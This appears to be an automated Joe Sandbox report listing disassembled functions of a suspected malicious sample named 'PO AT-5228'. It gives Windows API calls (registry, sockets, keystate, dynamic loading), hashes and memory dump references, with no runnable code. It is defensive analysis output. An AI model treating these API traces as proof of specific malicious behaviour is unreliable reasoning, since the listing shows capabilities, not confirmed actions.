Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 187b7c1abf0d9f2d0f4086d92fd737d1f48d512ba9597cab6f34c2b109b75adf
Instruction ID: 1c145a2ba8767eeab94aebda07c494122a21f61a56f6435ff2558a8f01061a77
Opcode Fuzzy Hash: 187b7c1abf0d9f2d0f4086d92fd737d1f48d512ba9597cab6f34c2b109b75adf
Instruction Fuzzy Hash: 04218170904305AFDB219F25DC46A9E77F4EF56720F204A59F9A1DB2D0DB70D940EB10

Function 00BA9634 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00BA9653
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00BA9683
GetStdHandle.KERNEL32(000000F6), ref: 00BA9694
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00BA96CE

Strings

nul, xrefs: 00BA96C9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: b97cfccc5a12369900bbd99e5e7adaff5366198ec9380637c1e6083fb9951000
Instruction ID: 0a0704c03c8347e90aba82071e43ccb5bc65ae01a42269e2c6b84dbed798f4c2
Opcode Fuzzy Hash: b97cfccc5a12369900bbd99e5e7adaff5366198ec9380637c1e6083fb9951000
Instruction Fuzzy Hash: D921AF716042059FDB249F6DDC44E9A77E8EF47720F200A99FAA1E72D0EBB09841EB10

Function 00BADAF6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00BADB0A
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00BADB5E
__swprintf.LIBCMT ref: 00BADB77
SetErrorMode.KERNEL32(00000000,00000001,00000000,00BFDC00), ref: 00BADBB5

Strings

%lu, xrefs: 00BADB71

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 2e841b5e5ade40acfa99953b23cfe7f5eb99cc08f2552f442bc3681ca4debb6e
Instruction ID: ed8be3cb8d2ce943605e4d8853ebc8a7ad777bc511bc2339e0e278d3a480e1b0
Opcode Fuzzy Hash: 2e841b5e5ade40acfa99953b23cfe7f5eb99cc08f2552f442bc3681ca4debb6e
Instruction Fuzzy Hash: CA219575600148AFCB10EFA4CD85EAEBBF8EF49704B0040A9F509EB261DB71EE41CB61

Function 00B9C9E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B9C82D: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00B9C84A
Part of subcall function 00B9C82D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B9C85D
Part of subcall function 00B9C82D: GetCurrentThreadId.KERNEL32 ref: 00B9C864
Part of subcall function 00B9C82D: AttachThreadInput.USER32(00000000), ref: 00B9C86B

GetFocus.USER32 ref: 00B9CA05

Part of subcall function 00B9C876: GetParent.USER32(?), ref: 00B9C884

GetClassNameW.USER32(?,?,00000100), ref: 00B9CA4E
EnumChildWindows.USER32(?,00B9CAC4), ref: 00B9CA76
__swprintf.LIBCMT ref: 00B9CA90

Strings

%s%d, xrefs: 00B9CA8A

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf
String ID: %s%d
API String ID: 3187004680-1110647743
Opcode ID: 06db0a007c29b3d64883e8cd5e143106ef1600381332e0694cdd71ccd1d95bc4
Instruction ID: f0d12b6bc4a426302111c5080dffbd5bebfa7566520ef2db0c123a8732e6a735
Opcode Fuzzy Hash: 06db0a007c29b3d64883e8cd5e143106ef1600381332e0694cdd71ccd1d95bc4
Instruction Fuzzy Hash: C6117FB56002096BDF11BFA48CC5FA93BA8AB44714F0080B6FA09AA196CB749945DB70

Function 00BC1945 Relevance: 7.7, APIs: 5, Instructions: 232COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00BC19F3
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00BC1A26
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00BC1B49
CloseHandle.KERNEL32(?), ref: 00BC1BBF

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: d2b2e1c28314660125b76c7c04884e54f943dbef1c17f958c3a85d9be70959a9
Instruction ID: c05c285b07016f267ec6a4dbffbc758e564e73368da6cdd7109a555e9778c451
Opcode Fuzzy Hash: d2b2e1c28314660125b76c7c04884e54f943dbef1c17f958c3a85d9be70959a9
Instruction Fuzzy Hash: 3E814070600214ABDF119F68C896BADBBE5EF05720F14C899F919BF382D7B5AD418B90

Function 00BA1C9A Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00BA1CB4
VariantClear.OLEAUT32(00000013), ref: 00BA1D26
VariantClear.OLEAUT32(00000000), ref: 00BA1D81
VariantClear.OLEAUT32(?), ref: 00BA1DF8
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00BA1E26

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 3dab43a1b5c8b73ad1ae2515ec6a6c49769e33d0d395f28b1d72582f21cdbd6f
Instruction ID: 32b88e76bc94c640c882d164766e0a4e64c06b3ada03a286230b9bc4d4dab2ce
Opcode Fuzzy Hash: 3dab43a1b5c8b73ad1ae2515ec6a6c49769e33d0d395f28b1d72582f21cdbd6f
Instruction Fuzzy Hash: FC5139B5A00209AFDB14CF58C880EAAB7F8FF4D314F158569E959DB341D730EA51CBA0

Function 00BC0688 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6936C: __swprintf.LIBCMT ref: 00B693AB
Part of subcall function 00B6936C: __itow.LIBCMT ref: 00B693DF

LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 00BC06EE
GetProcAddress.KERNEL32(00000000,?), ref: 00BC077D
GetProcAddress.KERNEL32(00000000,00000000), ref: 00BC079B
GetProcAddress.KERNEL32(00000000,?), ref: 00BC07E1
FreeLibrary.KERNEL32(00000000,00000004), ref: 00BC07FB

Part of subcall function 00B7E65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00BAA574,?,?,00000000,00000008), ref: 00B7E675
Part of subcall function 00B7E65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00BAA574,?,?,00000000,00000008), ref: 00B7E699

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 41e33582636f297b7f1659f7e54c2806dc81c99934efdd0f97fa699493738e5e
Instruction ID: 40c667a339193199949646d4266f43ff96aab9d5a1485fb9185d441194ec6262
Opcode Fuzzy Hash: 41e33582636f297b7f1659f7e54c2806dc81c99934efdd0f97fa699493738e5e
Instruction Fuzzy Hash: C2512875A00205DFCB04EFA8C491EADB7F5FF58310B04809AE956AB352DB74ED45CB90

Function 00BC2E29 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC3C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BC2BB5,?,?), ref: 00BC3C1D

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BC2EEF
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00BC2F2E
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00BC2F75
RegCloseKey.ADVAPI32(?,?), ref: 00BC2FA1
RegCloseKey.ADVAPI32(00000000), ref: 00BC2FAE

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 3740051246-0
Opcode ID: 7babf5138a77cf5b60d2fff778b112f74eba72fca071c60c8b853108108209ae
Instruction ID: 06378c782c3ce1b0a988be8de46b77ebdcd74b1ad72934375d9aa1a5f6fa6e02
Opcode Fuzzy Hash: 7babf5138a77cf5b60d2fff778b112f74eba72fca071c60c8b853108108209ae
Instruction Fuzzy Hash: 81515B71608208AFD704EF64C891F6ABBF9FF88304F0488ADF595972A1DB75E905CB52

Function 00BCCCF7 Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69562106e0e1f58a1253a568c315bb36b5fac0fddedb246b18ac30c6d7bb04d1
Instruction ID: 5f6d484c55f138b82df38c42cf480d7c04ffa9a898dba7cab3444893f3a5225c
Opcode Fuzzy Hash: 69562106e0e1f58a1253a568c315bb36b5fac0fddedb246b18ac30c6d7bb04d1
Instruction Fuzzy Hash: 6F41B679A00245AFC720DF68CC84FA97FE4EB29310F1502B9F95EA72E1C770AD41D690

Function 00BB1206 Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00BB12B4
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00BB12DD
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00BB131C

Part of subcall function 00B6936C: __swprintf.LIBCMT ref: 00B693AB
Part of subcall function 00B6936C: __itow.LIBCMT ref: 00B693DF

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00BB1341
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00BB1349

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 63aa0a389361f6903db3206860f139552a27ff41844c1c7c6beb4d4613e14c82
Instruction ID: 0ba1b6b82e283106eca28cd52ba11477a7b4e33fc884a6cdde457285fc28d09f
Opcode Fuzzy Hash: 63aa0a389361f6903db3206860f139552a27ff41844c1c7c6beb4d4613e14c82
Instruction Fuzzy Hash: 06410B35A00505DFDF01EF64C991AAEBBF9FF08310B1480A9E90AAB361DB75ED01DB55

Function 00B7B63C Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(000000FF), ref: 00B7B64F
ScreenToClient.USER32(00000000,000000FF), ref: 00B7B66C
GetAsyncKeyState.USER32(00000001), ref: 00B7B691
GetAsyncKeyState.USER32(00000002), ref: 00B7B69F

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 0691029a1799f643bfcc0e7272c00d836cb1f128351fcd76aa557b114fec8204
Instruction ID: 81d08ac24640d9663d051e40738990a61474b4cd4cf65daa8a6cc32843aaf7db
Opcode Fuzzy Hash: 0691029a1799f643bfcc0e7272c00d836cb1f128351fcd76aa557b114fec8204
Instruction Fuzzy Hash: B3415B35604119BFCF159F64C884FE9FBF4FB05324F20839AE86996290DB30A994DFA1

Function 00B9B358 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00B9B369
PostMessageW.USER32(?,00000201,00000001), ref: 00B9B413
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00B9B41B
PostMessageW.USER32(?,00000202,00000000), ref: 00B9B429
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00B9B431

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 592fdfa4b5db87e99072f1733e8c5f341f7abacfa41b7657c2bb76930eb53e57
Instruction ID: 21dccd8436979630fc6dbbdb64ab5375f4e07c8ca0d5a26159f93117421ae0b6
Opcode Fuzzy Hash: 592fdfa4b5db87e99072f1733e8c5f341f7abacfa41b7657c2bb76930eb53e57
Instruction Fuzzy Hash: 6231DF71904259EFDF04CFA8EE8DA9E3BB5EB04315F104269F921AB2D1C7B09914DB91

Function 00B9DBBF Relevance: 7.6, APIs: 5, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00B9DBD7
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00B9DBF4
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00B9DC2C
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00B9DC52
_wcsstr.LIBCMT ref: 00B9DC5C

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 3dc9a70af4a64db12e2593d93140864ef6f6a6e9c792029adb4efdb82ae8f6ed
Instruction ID: f8ba9ee636c2ff8ce19f55ede64e959848ebc1e7ee9db728fa7f2283d3331594
Opcode Fuzzy Hash: 3dc9a70af4a64db12e2593d93140864ef6f6a6e9c792029adb4efdb82ae8f6ed
Instruction Fuzzy Hash: 9D21BE72204244BBEF159B2ADC89E7A7BE9DF45760B1080B9F8099A191EAA19841D6A0

Function 00B9BC77 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B9BC90
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00B9BCC2
__itow.LIBCMT ref: 00B9BCDA
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00B9BD00
__itow.LIBCMT ref: 00B9BD11

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 92232a7ee691b52e669e5716b2b25fed1d1cd465be63f4b15608398c195a7c2f
Instruction ID: a356dd3b6e80e9e0d5b738b4e2000c9692e771f07c59fa333b236c7a475e5e55
Opcode Fuzzy Hash: 92232a7ee691b52e669e5716b2b25fed1d1cd465be63f4b15608398c195a7c2f
Instruction Fuzzy Hash: 1221C6356002187BDF20AA699D86FEE7BE9EF5A710F1014B4F905EB181DB708D4587E1

Function 00BA6318 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 00B650E6: _wcsncpy.LIBCMT ref: 00B650FA

GetFileAttributesW.KERNEL32(?,?,?,?,00BA60C3), ref: 00BA6369
GetLastError.KERNEL32(?,?,?,00BA60C3), ref: 00BA6374
CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00BA60C3), ref: 00BA6388
_wcsrchr.LIBCMT ref: 00BA63AA

Part of subcall function 00BA6318: CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00BA60C3), ref: 00BA63E0

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
String ID:
API String ID: 3633006590-0
Opcode ID: bce063501c6f771eabd574d13c5f5064427e7600b2316a3ca6d7c498e6fb5124
Instruction ID: f48d91948d7c3d5d2a254cbd5b6b18a14a17918c53674b41815aeb5fbad42062
Opcode Fuzzy Hash: bce063501c6f771eabd574d13c5f5064427e7600b2316a3ca6d7c498e6fb5124
Instruction Fuzzy Hash: 832108715082158ADF15AB7C9C92FEE23ECEF17360F1844E9F115D70D0EFA0D9868A59

Function 00BB8B95 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBA82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00BBA84E

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00BB8BD3
WSAGetLastError.WSOCK32(00000000), ref: 00BB8BE2
connect.WSOCK32(00000000,?,00000010), ref: 00BB8BFE

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorLastconnectinet_addrsocket
String ID:
API String ID: 3701255441-0
Opcode ID: 75eb2651d94274730802e4f432ae34940836f4ad1837616ba44480c318bba1ee
Instruction ID: 8591f2c39309c4bc91a74c46df8aa57385b95a4e9a4eeea829a9f84a0273ef45
Opcode Fuzzy Hash: 75eb2651d94274730802e4f432ae34940836f4ad1837616ba44480c318bba1ee
Instruction Fuzzy Hash: FC218E712002149FDB10AF68CD85BBE77EDEF48710F048499F916AB292CFB4EC018B51

Function 00BB8420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00BB8441
GetForegroundWindow.USER32 ref: 00BB8458
GetDC.USER32(00000000), ref: 00BB8494
GetPixel.GDI32(00000000,?,00000003), ref: 00BB84A0
ReleaseDC.USER32(00000000,00000003), ref: 00BB84DB

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: e5f22667573da60daaccc183715e6b86180134be17db32c58a161ad0e45c9f0d
Instruction ID: bede609e06c8f2f33eb142f8fcbccb37ebc2f6029d7c7e1170600c20b1051f43
Opcode Fuzzy Hash: e5f22667573da60daaccc183715e6b86180134be17db32c58a161ad0e45c9f0d
Instruction Fuzzy Hash: 90215475A00204AFD710DFA4D995AAEB7E9EF48301F0488B9E8599B352DFB4ED44CB50

Function 00B7AF83 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00B7AFE3
SelectObject.GDI32(?,00000000), ref: 00B7AFF2
